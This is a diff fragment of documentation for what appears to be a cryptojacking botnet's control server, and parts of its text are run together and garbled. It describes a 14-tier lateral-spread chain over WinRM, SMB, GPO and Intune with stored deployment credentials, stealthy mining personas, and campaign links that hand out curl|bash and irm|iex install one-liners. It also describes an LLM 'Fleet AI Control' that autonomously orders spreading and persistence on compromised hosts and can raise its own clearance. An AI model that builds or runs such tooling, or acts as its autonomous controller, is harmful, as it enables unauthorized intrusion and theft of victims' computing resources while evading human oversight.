+ Spread tiers above run inside the triple onion orchestrator: recon (vuln_recon,
+ service probes) → policy gates (patch_first, risk score) → deploy lanes → mining execution.
+ Server-side adaptive strategy, phenotype cloning, and failure atlas
+ adjust mining tier order and skips; Fleet AI Control (Calibrate) can override adaptive when enabled.
+ Crucible Access Depth and LOTL Timeline show live progression.
+
lotl_onion_enabled in Advanced)./dashboard/agents/crucible/crucible/lotl-timeline/onion redirects)/forge/mission-deck/builds/agents redirects here.
+ lotl_attempts, adaptive Strategy reasoning, phenotype clone badge, clearance L0–L4, join_lane, atlas skipsdiscover_and_join: service discovery → signed deploy plan → best LOTL lanecred_edges), service graph summary, spread template export (WinRM, Linux LOTL, GPO, Intune)
File Manager (single online node): list_dir, read_file (512 KB cap),
upload, download, path breadcrumbs — cross-platform. Requires online WebSocket (not beacon-only).
+ Route /lotl-timeline (nav label Onion; legacy /onion redirects).
+ Per-agent live view of the 14-tier spread chain, mining execution tiers, fleet progress bars, AI decision
+ history (when AI Control enabled), Singular Machine Court sessions, clearance elevation log, and phenotype
+ "cloned from" badges. Links back to Crucible Access Depth for the selected node.
+
+ Full tier glossary: Spread Techniques → LOTL Onion ·
+ repo tests/README.md § LOTL vector glossary.
+
+ Server-side learning for your fleet only — not third-party telemetry. +
+| Feature | What it does |
|---|---|
| Adaptive strategy | Personalized mining tier_order + strategy_reasoning[] from OS/Docker/WSL probes and outcomes; Calibrate adaptive_strategy_enabled (default on); POST /api/v1/strategy/recompute |
| Phenotype cloning | Winning spread+mining path published by fingerprint; siblings inherit on auth without re-forge |
| Failure atlas | After repeated failures under a condition, hard-skips subtree tiers; merged into adaptive skips |
| Singular Machine Court | When AI Control on + host stuck: prosecutor/defender/judge LLM session → commands |
| Clearance L0–L4 | Session gating for remote actions; optional auto-elevate to L4 when stuck |
Precedence: phenotype inherit > Fleet AI Control (when on) > adaptive strategy > Calibrate defaults. patch_first and risk gates always apply.
Dashboard tab at /emberwake — campaign link builder, A/B ?pin= rotation,
spread-kit export, shared operator notes (WebSocket sync). Copies one-liners for
curl|bash, irm|iex, and public download URLs with ?c= campaign tags.
+ War Room — funnel, table, and constellation views with hashrate heat normalization.
+ Live agent rows show join_lane badges (last successful Probe & Join lane:
+ do_peer, dns_txt, winrm, etc.).
+
@@ -1005,6 +1047,7 @@ go run ./cmd/mine-validate -seconds 20 -threads 2
docker/README.mdplatform=android; see android/README.mdFleet notifications are configured under Calibrate → Alert Notifications. Telegram bot token and chat ID (your user ID from @userinfobot, not the bot's) drive per-event pushes. Optional SMTP email uses @@ -1042,16 +1085,48 @@ go run ./cmd/mine-validate -seconds 20 -threads 2 -
+ Calibration Control toggles server.ai_control_enabled. When on, the server
+ Fleet AI scheduler polls connected agents on ai_decision_interval_sec (default 60s), calls a local
+ OpenAI-compatible endpoint (ai_endpoint, default http://127.0.0.1:11434/v1),
+ parses commands[], and dispatches fleet actions (restart_mining,
+ discover_and_join, spread_now, etc.). Decisions surface on LOTL Timeline.
+ Audit: GET /api/v1/ai/decisions?agent_id=.
+
Precedence: when AI Control is on, it replaces adaptive strategy for tier-order + decisions. Phenotype inherit still wins on auth when a sibling fingerprint match exists.
+ +| Persona | Behavior |
|---|---|
| balanced | Default mission behavior |
| aggressive | Maximize spread + mine; fast tier retries |
| silent | Mine quietly; minimal spread noise |
| passive | Observe; defer disruptive actions |
| persuasive | Spread-first; defer mining escalation |
+ Separate from Fleet AI: the adaptive engine (server/internal/strategy/) learns mining tier order
+ from your fleet stats only. Pushes adaptive_strategy on auth with
+ strategy_reasoning[] bullets. Crucible Access Depth → Strategy tab shows the trace.
+ Disable via server.adaptive_strategy_enabled. Manual refresh:
+ POST /api/v1/strategy/recompute.
+
Optional forge flag bakes AI Autonomy into workers. Ollama runs on the control server
PC (default http://localhost:11434), not on workers. The worker calls C2
/api/v1/agent/decide → server queries Ollama → tool calls execute on the agent (adjust threads,
- self-heal, persistence checks). Best combined with self-healing watchdog.
+ self-heal, persistence checks). Best combined with self-healing watchdog. Re-forge after changing.
ollama pull llama3.2
-# Forge: enable AI Autonomy, set model name (e.g. llama3.2), confirm endpoint
-# Re-forge after changing — settings are baked into the binarydata/config.json (gitignored).
PUT /api/v1/fleet/policy pushes mining_mode, schedule, max_cpu_usage_pct, optional pool overrides liveserver.lotl_onion_tiers (14 spread tiers); agents with lotl_policy_from_server pull order on authpatch_first, skip_mining_on_high_risk gates for recon → deploy → miningadaptive_strategy_enabled (default on); mining tier personalization from fleet outcomesai_control_enabled, ai_endpoint, ai_model, ai_persona, ai_decision_interval_sec, ai_auto_elevate_clearanceconfig.json + vault files under data/deployment-creds/ for SMB/WinRM spreadPOST /api/v1/fleet/modules/push queues fetch_module for Crucible Ops / Spread / GPU packsdata/modules/*.json — HMAC-signed with fleet secret